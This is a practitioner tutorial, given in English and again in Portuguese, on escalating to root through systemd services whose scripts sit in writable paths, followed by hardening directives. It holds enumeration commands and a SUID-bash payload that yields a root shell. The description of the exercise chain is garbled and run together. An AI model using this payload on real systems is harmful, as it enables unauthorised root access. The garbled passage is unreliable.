Category: Linux · Privilege Escalation · System Internals
Level: Practitioner
Most privilege escalation checklists cover the obvious paths: SUID binaries, sudo misconfigurations, writable /etc/passwd, cron jobs running as root. These are well-documented and most hardened systems have them under control.
What gets less attention is the service execution model introduced by systemd — specifically, the combination of services running as root that source or execute files in user-influenced paths.
systemd manages services through unit files. A typical application service might look like:
[Service]
User=root
ExecStart=/opt/app/scripts/start.sh
The script at /opt/app/scripts/start.sh runs as root. If that script sources a configuration file, executes a helper, or iterates over a directory — and any part of that path is writable by a non-root user — then privilege escalation is possible without touching a CVE.
In a real exercise, the chain looked like this:
/opt/app/config/checks.d/checks.d/ directory was group-writable for appopsappops — but had write access to a subdirectory due to inherited permissions from an earlier deploymentThe escalation required no exploit. Just a file write and waiting 5 minutes.
The enumeration that surfaces this:
# List all timers and their associated services
systemctl list-timers --all
# Inspect a service unit
systemctl cat <service-name>
# Trace the execution path
cat /path/to/called/script
# Check every file and directory in the execution path
ls -la /opt/app/scripts/
ls -la /opt/app/config/
ls -la /opt/app/config/checks.d/
# Find what your user can write
find /opt/app -writable 2>/dev/null
The key step most people skip: checking subdirectory permissions recursively, not just the top-level path named in the unit file.
One important detail: systemd services do not run in the same environment as an interactive shell. PATH, HOME, and other variables may be different or absent. The script may behave differently than when run manually. This matters when crafting a payload — a reverse shell might fail because bash is not in the expected path. Writing to a file or setting a SUID bit is more reliable.
# Reliable payload for non-interactive root execution
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# After the timer fires:
/tmp/rootbash -p
systemd provides several directives specifically designed to limit what a service can do:
[Service]
User=appuser # Don't run as root if not needed
NoNewPrivileges=true # Prevent privilege escalation
ProtectSystem=strict # Make most of the filesystem read-only
ProtectHome=true # No access to /home, /root
ReadOnlyPaths=/opt/app/scripts # Lock the script itself
ReadWritePaths=/opt/app/logs # Allow only specific write paths
PrivateTmp=true # Isolated /tmp
These directives do not require application changes — they are applied at the unit file level and constrain what the service can do regardless of what the script does.
The vulnerability was not in a package, a kernel version, or a CVE database entry. It was in the permission model of a directory tree that nobody audited after a deployment script ran and set permissions too broadly.
Privilege escalation on modern Linux systems increasingly looks like this: no exploit, no kernel bug — just a service running as root with a writable file somewhere in its execution path, waiting for a timer to fire.
Related: Case 03 — systemd Service Abuse and Privilege Escalation
Categoria: Linux · Escalada de Privilégios · Internals do Sistema
Nível: Praticante
A maioria dos checklists de escalada de privilégios cobre os caminhos óbvios: binários SUID, misconfigurations de sudo, /etc/passwd com permissão de escrita, cron jobs rodando como root. Esses são bem documentados e a maioria dos sistemas com hardening os tem sob controle.
O que recebe menos atenção é o modelo de execução de serviços introduzido pelo systemd — especificamente, a combinação de serviços rodando como root que carregam ou executam arquivos em caminhos influenciáveis pelo usuário.
O systemd gerencia serviços através de unit files. Um serviço de aplicação típico pode ser assim:
[Service]
User=root
ExecStart=/opt/app/scripts/start.sh
O script em /opt/app/scripts/start.sh roda como root. Se esse script carrega um arquivo de configuração, executa um helper, ou itera sobre um diretório — e qualquer parte desse caminho é gravável por um usuário não-root — então escalada de privilégios é possível sem acionar um CVE.
Em um exercício real, a cadeia ficou assim:
/opt/app/config/checks.d/checks.d/ era gravável para o grupo appopsappops — mas tinha acesso de escrita a um subdiretório por permissões herdadas de um script de deploy anteriorA escalada não requereu exploit algum. Apenas uma escrita de arquivo e aguardar 5 minutos.
A enumeração que revela isso:
# Listar todos os timers e seus serviços associados
systemctl list-timers --all
# Inspecionar um unit de serviço
systemctl cat <nome-do-servico>
# Rastrear o caminho de execução
cat /caminho/para/script/chamado
# Verificar cada arquivo e diretório no caminho de execução
ls -la /opt/app/scripts/
ls -la /opt/app/config/
ls -la /opt/app/config/checks.d/
# Encontrar o que o seu usuário pode escrever
find /opt/app -writable 2>/dev/null
O passo-chave que a maioria pula: verificar as permissões de subdiretórios recursivamente, não apenas o caminho de nível superior mencionado no unit file.
Serviços systemd não rodam no mesmo ambiente de um shell interativo. PATH, HOME e outras variáveis podem ser diferentes ou ausentes. O script pode se comportar diferentemente de quando executado manualmente. Isso importa ao criar um payload — um reverse shell pode falhar porque bash não está no caminho esperado. Escrever em um arquivo ou definir um bit SUID é mais confiável.
# Payload confiável para execução root não-interativa
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# Após o timer disparar:
/tmp/rootbash -p
O systemd fornece várias diretivas para limitar o que um serviço pode fazer:
[Service]
User=appuser # Não rode como root se não for necessário
NoNewPrivileges=true # Impede escalada de privilégios
ProtectSystem=strict # Torna a maioria do filesystem somente leitura
ProtectHome=true # Sem acesso a /home, /root
ReadOnlyPaths=/opt/app/scripts # Bloqueia o próprio script
ReadWritePaths=/opt/app/logs # Permite escrita apenas em caminhos específicos
PrivateTmp=true # /tmp isolado
Essas diretivas não requerem mudanças na aplicação — são aplicadas no nível do unit file e restringem o que o serviço pode fazer independentemente do que o script faz.
A vulnerabilidade não estava em um pacote, uma versão de kernel, ou um CVE. Estava no modelo de permissões de uma árvore de diretórios que ninguém auditou após um script de deploy rodar e definir permissões muito amplamente.
Escalada de privilégios em sistemas Linux modernos cada vez mais se parece com isso: nenhum exploit, nenhum bug de kernel — apenas um serviço rodando como root com um arquivo gravável em algum lugar em seu caminho de execução, esperando um timer disparar.
Relacionado: Case 03 — systemd Service Abuse and Privilege Escalation